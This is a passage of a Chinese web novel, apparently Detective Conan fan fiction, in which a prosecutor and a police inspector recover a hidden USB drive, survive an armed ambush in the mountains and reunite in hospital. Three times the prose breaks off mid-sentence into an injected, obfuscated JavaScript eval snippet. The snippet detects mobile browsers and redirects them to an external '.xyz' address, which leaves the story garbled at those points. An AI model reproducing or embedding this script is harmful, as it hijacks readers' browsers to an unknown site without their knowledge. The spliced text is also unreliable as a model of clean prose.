诸伏高明瞬间跟上北原浅落的思路,进一步发问:“花城小姐,那天下午,是你先到储物柜这边的还是近江检事先到的?” “是他先到的。”花城枝子回忆着当时的情形,忽地明白二人的用意,在自己的柜子里翻找起来。 “他知道的,他知道我的生日,也知道我把它设成了密码。” 花城枝子的手和声音开始颤抖,她把柜子里的东西一件一件取出,都是她的,没有异常。 诸伏高明和北原浅落依次接过物品再次检查,也没有发现异常。 “这是我很久之前放在柜子里的备用换洗衣服,”花城枝子说着摸索衣服的口袋,“就是一直没用上过。” 她的手忽然在里侧的口袋里摸到一个坚硬的小物品,她动作一愣,难以置信地望着身旁二人,刹那间,泪水蓄满她的眼眶。 花城枝子颤颤悠悠把口袋里的物品取出,摊开手掌,是一个优盘。 北原浅落和诸伏高明对视了一眼,诸伏高明取出胸前口袋里的手帕,接过优盘递给北原浅落。 北原浅落盯了优盘两秒,看向花城枝子,泪水已从她的眼角流下。 从对方的表现,她已经确认这是近江悠介的东西,可出于必要,她还是问道:“是他的吗?” “是,是他的。”和泪水的汹涌相比,花城枝子的声音显得格外平静,“是我正式成为一名检察官助理后送他的。” 找到了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352564|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 北原浅落用手帕把优盘包好:“花城小姐,你那有塑封袋吗?” 不等花城枝子回答,吉田刚一的声音从三人身后传来:“北原检事,诸伏警部。” 北原浅落一怔,不动声色将手上的东西塞入包内。 “两位这么早就过来啦!”吉田刚一热情走近,一副没有发觉刚才发生了什么的样子。 “早,吉田署长。”两人颔首打招呼,心生警惕。 吉田刚一步至二人面前,左右观察,确认刚刚的人消失后将手中的车钥匙递了过去:“赶紧走,你们不能再待在这里了,快带着东西回长野。” 诸伏高明的凤眼微眯,看向入口处:“您的意思是……” 他们疏忽了,只顾着找东西,忽略了可能的眼线。 吉田刚一把车钥匙塞入诸伏高明手内:“我的车是左边第二辆,快走。” 来不及多问,诸伏高明拉着北原浅落匆匆离去。 迅速找到吉田刚一的车,诸伏高明发动车子驶出检察署。 “诸伏警部,在便利店门口停一下。” “浅落……”诸伏高明刚想制止,却对上对方坚决的眼神,他立刻踩下刹车。 “以后再和你解释。” 北原浅落匆匆下车跑入便利店,诸伏高明在车内焦灼等待,终于,两分钟后,北原浅落跑了回来。 “我们走吧。” “这里是检察厅的据点吗?” 诸伏高明踩下油门,汽车引擎发出隆隆的轰鸣声。 “不,”北原浅落望着后视镜中远去的招牌,“是特搜部的。” “给敢助君他们打个电话吧,他们应该还在路上,让他们掉头回长野。” “好。”北原浅落连忙取出手机打电话。 车子一路疾驰,不过五分钟,车后便多了两辆可疑的车辆。 “浅落,坐好。” 下一秒,车速再次加快,在早高峰的车流间穿梭。 驶离市区,车子沿着公路开上山区。 见后视镜内没了追兵的身影,诸伏高明逐渐放慢车速。 “看来是甩掉他们了,好险啊。”北原浅落看着后视镜,原先追赶的车辆都已不见,“话说,我都不知道你车技这么好。” “我的档案上没写这点吗?”诸伏高明原本因高度专注而不自觉拧紧的眉头放松下来,搭在方向盘上的双手也悠闲了许多。 “没有。” “那下次可以加上。” 几句闲聊后,北原浅落再次感叹:“真没想到,吉田署长居然是好人,之前我还怀疑过他。” 说实话,一开始,他那副滴水不漏的样子就让她起了疑心,她果然还是太嫩了。 “其实,我也怀疑过他,在事情水落石出之前,谁都有嫌疑。” “如果花城小姐不是写匿名信的人,那么就应该说吉田署长写的。” “我觉得是,”诸伏高明轻踩刹车;转动方向盘在山路的急弯上转弯,“那封匿名信的措辞非常官方,一般人写不出来。” 话音刚落,一声枪响打破了山间的寂静。 一群鸟鸣叫着,扑棱着翅膀从山间聚起飞向天空。 之后,是下一声枪响。 37.第 37 章 诸伏高明解开安全带,按下北原浅落的安全带按钮,带着她从她那侧开门翻滚下车,伴着枪响隐入路旁的树丛杂草。 没过几秒,是一阵汽车爆炸的响动。 十几秒后,山间重归寂静,只留盘旋在半空的鸟群在慌慌张张鸣叫,和隐约传来的燃烧声。 北原浅落被诸伏高明护在身下,心脏飞速跳动,紧闭双眼攥住对方的衣物。 确认枪声消失后,诸伏高明松开护着北原浅落头部的双臂,正欲站起却发现自己的衣服被她牢牢抓住。 她一定被吓到了。 诸伏高明覆上北原浅落的手,带着她松开已经泛白的指关节。 他用另一只手轻拍了拍她的背:“没事了,没事了。” 北原浅落握紧诸伏高明的手,把脸埋在他的怀中大口呼吸,子弹从耳旁划过的惊悚比那天夜里看到银白的刀刃时更甚。 可是现在不是害怕的时候。 她努力缓和自己的情绪,在诸伏高明的搀扶下站起。 诸伏高明取出随身的警用卫星通讯仪,发送信号后重新放回口袋,而后取出配枪打开保险。 “高明……”北原浅落不自觉叫了声他的名字。 “放心,用不了多久,本部的同事就会来的。”诸伏高明捏了捏女孩的手,拉着她向山林深处走去。 山林的地上覆盖着厚厚的落叶,踩在上面发出清脆的破裂声,看着眼前一棵棵树,北原浅落后知后觉体会到秋日独特的肃杀之气。 她摇了摇头,试图把这不详的念头赶出脑海。 忽然,她口袋中的手机开始响动,两人不自觉停步。 诸伏高明回头,北原浅落瞧了眼来电显示,说道:“是我妈。” “喂,妈。” “喂?” “妈?你在听吗?” 听到手机里的忙音,北原浅落戛然而止,看了眼手机信号,冲诸伏高明摇头。 “不行,没信号。” 诸伏高明刚想回应,突然听到远处传来若有若无的脚步声和说话声。 是他们找过来了。 诸伏高明加快脚步,带着北原浅落往树高草密的地方走。 一名持枪的中年男子蹲下身,观察了下地面的状态,说道:“八木先生,这些叶子都是刚被踩碎的,他们应该就是从这走的。” “好,”八木茂环视一圈,“贺川署长,周围都封锁了吧?” “是的,”贺川润起身保证,“上山和下山的道路都封锁了,山脚也已经派人把守,他们出不去的。” “对了,我刚刚看了下那辆车的车牌,是检察署的吉田的。” “是他?”八木茂冷冷一笑,“一直以为他是只温顺的缩头乌龟,没想到还有胆量坏我的事。他这个署长做的时间确实够久了。” “是啊,我看山下诚是个不错的人选,聪明可靠,最重要的是对您忠心。” “他是很不错,这次他通报得很及时,我会好好奖励他的。”八木茂望着满山的树丛,转头对身后的人说,“既然是从这走的,应该走得不会太远,开枪通知一下吧。” 话音刚落,数名全副武装的男人举枪对着远处一阵射击,原本静谧的树林传出源源不断的枪声和回响。 听到枪声的瞬间,诸伏高明掩护北原浅落匆匆躲到一块石头后面。 每一枪之间间隔的时间很短,枪声杂乱,毫无规律。 还没发现他们的确切位置,但是,从枪声判断,不远了。 尽管北原浅落极力克制,诸伏高明还是觉察到了她的颤抖。 她从没接触过枪,更别说这种场面,难为她了。 诸伏高明揽着她的手紧了紧,把下巴抵在她头顶,轻声抚慰:“别怕。” “我没怕。”北原浅落闭眼,山间的空气已染上硝烟,她吸了吸鼻子,努力从中感受独属于诸伏高明的味道。 枪声停下,诸伏高明带着北原浅落抓紧往树林深处走。 没走几十米,面前的景象让二人一惊。 再前面是茂盛的松树林,越往山里走,由于缺乏光照,低矮的树丛越少,再往里走,对方一眼就能找到他们的位置。 身后,追兵越来越近,越来越近。 诸伏高明迅速扫了一圈,拉着北原浅落俯身钻入一个树丛。 与此同时,他听到了不远处嘈杂的脚步声。 他不能再犹豫了。 诸伏高明抬手替北原浅落取下粘在头发上的落叶,而后取出警用卫星通讯仪放入她掌心。 “高明……” 诸伏高明手指迅速贴近,轻轻压着北原浅落的嘴唇,阻止她开口。 “浅落,待在这里别动,很快会有人来接你的,把优盘带回去。” 北原浅落瞬间明白诸伏高明想要做什么,用力摇头:“不……” “浅落,想想近江检事,”诸伏高明把她眼角的泪轻柔抹去,缓缓开口,“以我的推断,近江检事是自杀。” “在被监禁逼问多日后,近江检事骗他们说把证据藏在了山上的亭子里,假意配合去取,然后,趁看管的人不注意,从山上跳了下去,以死明志。” “所以,浅落,你一定要把优盘带回去。” 北原浅落不再开口,可眼角流下的泪水越来越多,他将外套袖子内的衬衫袖子往外拉了拉,小心翼翼用袖口替她擦去眼泪。 蓦地,北原浅落抓住诸伏高明手腕:“高明,其实那个优盘我……” “我知道。”诸伏高明打断北原浅落未竟的话语,“可是浅落,我想要你活下去。” 搜寻的脚步声越来越近。 诸伏高明掰下北原浅落的手,大拇指指腹摩挲着她的手腕内侧,是留恋,也是告别。 “我的书房,左边第二格抽屉,里面的东西是给你的。” 说完,诸伏高明将手上的枪利落上膛,借由树丛的掩护绕开几米,从另一个方向冲出。 北原浅落起先只听到一声枪响,而后是无数声。 她很想去看,又不敢看。 手上,警用通讯仪的屏幕上的信息在不断跳动闪烁。 她抬手摸上耳垂上的蓝水晶耳钉,这是昨天晚上高桥和夫给她的,说是她妈特意吩咐让她戴着的。 她又想起了那通因信号问题而未接通的电话。 如果说,这边的一切特搜部都早有预料,为什么她妈还不到? * “诸伏警部是吧?”八木茂抬手示意身边剩下的几个手下先收起枪,笑着走近这头穷途末路的待宰羔羊。 对方左臂已经中了一枪,右手上那把左轮手枪在刚才的交战中恐怕也已经弹尽粮绝。 他已经没有任何威胁,虽然他原本就构不成威胁。 “把你刚刚找到的东西给我,说不定我还能留你一命,也说不定我们还能成为盟友。” 八木茂在诸伏高明身前几米处停下。 “说实话,我很佩服你,在这种情况下还能一枪打伤一个。我知道,你是东大毕业的,说起来我们还是校友,我不会为难你的。” 诸伏高明瞧了眼沿着手臂不断往下滴的鲜血,扯了扯嘴角:“中国有句古话,叫道不同,不相为谋,不知道你是否听说过。” “好好好,看起来是敬酒不吃吃罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367093|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒了,”八木茂绕着诸伏高明走了两步,转身看向贺川润,“动手吧,把他解决了去找另一个。” “住手!” 意外的女声响起,诸伏高明原本已闭上的眼睛猛地睁开。 与此同时,北原浅落已经冲到自己身前。 追来的路上,她看到了不少血迹,一直担心的事还是成了真。 北原浅落小心握上诸伏高明鲜血淋漓的手,看着流淌的红色沾染自己的手掌。 “说好的要一直在我身边,我不许你丢下我。” 北原浅落低声喃喃,而后不给诸伏高明开口的机会,转身对八木茂说道:“我们做个交易吧。” “交易?”八木茂仿佛听到了什么笑话,“北原检事,你似乎还没搞清楚情况,我看不到你有什么值得我交易的筹码。” 北原浅落从口袋里取出手帕摊开,露出里面的优盘:“放了我们,它就归你了。” 不等八木茂发话,贺川润嗤笑一声,晃了晃手中的枪好心“提醒”:“北原检事,看来你真的还没搞清楚情况,不管放不放你们,东西都是我们的,你没有资格和我们谈条件。” 北原浅落没有理他,直视八木茂:“八木先生,东京高等检察厅的北原修司,他是我父亲。” “他的行事作风,你应该很清楚,或许你也听说过我母亲,她任职于特搜部。” 八木茂脸色逐渐凝重起来,他一直都知道特搜部盯上他了,只是他隐藏得好,至今对方都不敢正式起诉他。 “如果我死在这里,他们一定不会善罢甘休,就算没有这个优盘,你也逃不掉的。” “你想怎么样?”八木茂问道。 “我说了,放了我们,”北原浅落握着诸伏高明的手紧了紧,“我会把优盘给你,没有证据,你依然可以和之前一样,至于我们,当然也不会揭穿你,揭穿你相当于揭穿我们自己的职务犯罪,对我们没有一点好处。” 八木茂没有马上回应,双方这么对峙着。 大约半分钟后,八木茂笑了,看向两人交叠在一起的手:“北原小姐,光是职务犯罪,对你的震慑和约束恐怕还不够大。” “我可以放了你,前提是,你得开枪杀了你身后那位警察。” “要和我们做交易,手上不沾点血哪成啊,你说是吧?” 对方比她想的还要无耻,似乎也没再拖下去的必要了,他们终究是等不到了。 好在,东西已经送出去了。 “那我们没什么好谈的了,你杀了我们吧。” 北原浅落将手帕收起揣入口袋,转身环住诸伏高明腰身,贴在他胸口闭眼听他有力的心跳。 “不许说我,我都还没说你把我一个人丢下呢。” “我是想好了才过来的,我不后悔。” 诸伏高明缓缓将手搭上女孩的腰,将头埋入她的颈窝,这或许是他最后一次闻她的味道了。 “好,我不说你。” 一向沉稳冷静的声线带了颤。 此时此刻,北原浅落却不像刚才逃跑躲避时紧张,面对即将到来的死亡,她觉得自己异常平静。 “就是有些对不起我爸妈,我还没把你带回家过呢,要是我死了,他们会很难过的。” 尽管父母从小陪伴她时间不多,长大后,她却越发感受到父母的不容易和对她的爱。想到家,北原浅落不禁想起伪装身份的那位,现在都要死了,说出来也没事了。 “高明,景光他还……” 话音未落,一声枪响。 这次枪响,和之前听到的都不同。 由远及近,最终归于八木茂的一声哀嚎。 38.第 38 章 在听到北原浅落即将“暴露”自己的一刹那,诸伏景光刚刚做好瞄准准备,顾不了太多,立刻扣下扳机。 所幸,从瞄准镜里看,按照原先计划,命中目标的非致命区域,对方还死不了。 如他所料,耳机里女孩的声音就此打住。 几乎是同时,瞄准镜里出现了警察的身影。 “终于来了。”诸伏景光嘴角上扬,想着下次看北原浅落还怎么否认她和自己哥哥的关系。 正准备收枪撤退,耳机里突然传来一声突兀的枪响。 下一秒,他听到了不同的声音在叫自己哥哥的名字。 * 医院的抢救室外,北原浅落靠着门边的墙闭眼站着。 自从诸伏高明被送入抢救后,她就一直保持这个姿势。 “浅落,坐会吧。”上原由衣拉了拉北原浅落的手臂。 她和大和敢助收到诸伏高明的紧急求救信号后就立刻调转车头往回赶,不料上山的道路已被把守切断。 就在他们想要靠自己硬闯的时候,邻市的警察赶到迅速控制现场,他们因此跟着一道上山救援。 八木茂倒下后,贺川润迅速反应过来,举起枪就对准北原浅落和诸伏高明。 千钧一发之际,诸伏高明转身护住北原浅落,生生扛下了这一枪。 北原浅落摇头:“由衣,我要在这里陪着他。” 靠着墙,他们才真正只有一墙之隔,这样,她似乎能感受到墙内手术室的一举一动。 走廊的拐角处,北原理纱走向在暗中等待手术的诸伏景光。 “我不该掉以轻心的。”诸伏景光看向亮起的手术灯,要是那时候,他没有收枪,就能第一时间发现,在对方开抢前制止。 北原理纱抬手搭上他的肩膀:“这不能怪你,你已经救了他们了,相信你哥哥” 说完,北原理纱拍了拍他的肩膀,走出拐角。 听到熟悉的脚步声,北原浅落睁眼,是她妈。 积蓄已久的眼泪终是忍不住,哗啦啦往下流,一头钻入母亲的怀抱。 “妈……” 北原理纱轻拍女儿的背:“没事的,诸伏君会没事的。” “妈,你怎么不早点到……”北原浅落动了动脑袋,将眼泪尽数擦到北原理纱的衣服上。 “对不起,是妈来晚了……”北原理纱不禁歉疚,在她的记忆中,北原浅落记事后就很少哭了,更不用说哭得这么厉害了。 但这已经是她和丈夫的最快速度了。 昨晚,在收到北原浅落的消息后,在还没有取得充分证据的情况下,北原修司顶着巨大的压力对一名议员作出审查决定,要求各级警方配合工作,甚至要求公安进行协助。 这样她才能带上诸伏景光过来,才能调动周围县市的警察迅速赶来异地支援。 北原理纱揽着北原浅落在旁边的座椅坐下,陪她等待抢救室内的消息。 不知过了多久,门被打开,北原浅落迅速冲到推出的平车前。 “高明……” 平车上的人挂着点滴,苍白的面容上没有任何反应,北原浅落心一揪,双手用力握住诸伏高明没有插着针管的那只手。 “医生,他……” “病人麻药效果还没过,等药效过了他就会醒了。”医生简单解释了几句,“放心,我们检查过了,子弹没留在体内,目前没有生命危险了。” “好,好。”北原浅落急忙跟着护士一起前往诸伏高明的病房。 在场的另外几人听到消息也是心里一松,紧皱的眉头终于舒展。 望着女儿的身影远去,北原理纱长舒了口气,好了,现在,她该去处理这件案子的后续了。她转身看向大和敢助和上原由衣,微微颔首:“抱歉,我有些公务得去处理,他们两个暂时拜托你们照顾一下。” 诸伏高明醒的时候已是黄昏。 几乎是恢复意识的一瞬间,他就感受到一滴温热落在自己手背。 他抬起未受伤的那只手,替北原浅落抹去眼泪,就像之前的许多次那样。 “别哭了,我没事。” 看到诸伏高明醒的刹那,北原浅落恨不得立刻扑入他的怀里一把抱住他,可是想到他身上的伤,她就只能抓住他抬起来的手,用力贴着自己的脸颊。 “这样还叫没事,那什么才是有事?” 见她这样,诸伏高明不禁一笑,苍白的脸上现出几分神采:“那我有事?” “呸呸呸,不许这么说。”北原浅落立刻回道,眼眶又红了几分。 “好好好,我不说。”诸伏高明从北原浅落掌心抽出手,摸上她的脖颈将她往下带,让她贴着自己胸口,“你听,我没事。” 男人的心跳如鼓点,一下一下击在她的耳膜上。 “咳咳!” 门口传来两声粗犷的咳嗽。 “在医院呢,你们两个注意点。”大和敢助和上原由衣提着晚饭走进病房。 北原浅落连忙直起身,扭头擦了擦自己脸上的泪痕。 “该注意的是你吧,进来都不敲门。”诸伏高明虽然虚弱,说出的话却一如既往不落下风,在北原浅落的帮助下半坐起身。 “行,看来是没什么事了。”大和敢助接过上原由衣的手上的东西放到桌上,“你要是再不醒来,这位检事小姐都要哭成泪人了。” 上原由衣双手搭上北原浅落肩膀,笑着附和:“是,你可是把浅落担心死了。” 北原浅落不禁脸红,站起来走到桌边查看晚饭:“由衣,你们带了什么吃的?” “就是清淡的粥,还有一些小菜和水果。” “好了由衣,我们走吧,不要打扰他们两个了。”大和敢助招呼上原由衣往外走,“检事小姐,高明手受伤了,晚饭就麻烦你喂他一下了。” “是,我会的。”北原浅落从袋子里取出保温饭盒,很自然地应道。 走出病房之前,大和敢助别有意味地看向诸伏高明:“你可要赶紧康复啊,还有事等着你呢。” 凭借对好友的了解,诸伏高明意识到话中有话,可咂摸了会也没想出个所以然,大概是说警局还有事等着他吧。 几天后,诸伏高明的身体已经恢复许多,北原浅落脸上的愁绪一扫而空,前两天还带了个花瓶过来,在病房里边和他聊天边插花。 望着花瓶里依然鲜妍的花朵,诸伏高明不觉嘴角勾起淡淡的弧度。 这时,门被轻轻敲响。 “请进。” 推门而入的是一位穿着深色职业装的陌生中年女性,深褐色的长发优雅地盘起,一双眼睛炯炯有神,闪着睿智的光。 “请问您是?” “我是宫部,是特搜部派来负责这次八木茂事件的检察官,听说你已经恢复很多了,就来来向你了解一下这次案件的情况。”女人冲她温柔一笑,“请问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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北原理纱点头一笑:“是,我是她母亲北原理纱,不过在工作上我还是用我的本姓宫部,抱歉刚才没向你说明。” “您是故意的吧?”北原浅落边吐槽边将水果放下,从桌上拿过杯子给母亲倒水。 “是故意的,”北原理纱毫不犹豫承认,收起笔记本放入袋子,“谁让你一直不和我说诸伏君是你男朋友,那我只能来问诸伏君喽。” “真是,”北原浅落将杯子递给母亲,“您不是那天就看出来了吗……” 北原理纱不慌不忙喝了口茶:“看出来是一回事,你和我说又是另外一回事。” 看着母女俩的互动,诸伏高明不禁一笑,他算是知道北原浅落有时会突然冒出来的傲娇属性是哪来的了。 “诸伏君,作为母亲,我非常感谢你救了浅落,真的非常感谢。”北原理纱郑重道谢,拉着女儿在邻近的椅子上坐下。 “伯母,不用谢,这是我应该做的,您刚刚不是问我是在什么驱使下做出这种选择的吗?”说着,诸伏高明的目光转向北原浅落,似春日的河水,冬日的雪山。 明明是凉爽的秋季,北原浅落却觉得脸上越来越烫。 “我想,大概是在本能的驱使下吧。” “这是一种对心爱之人的本能。”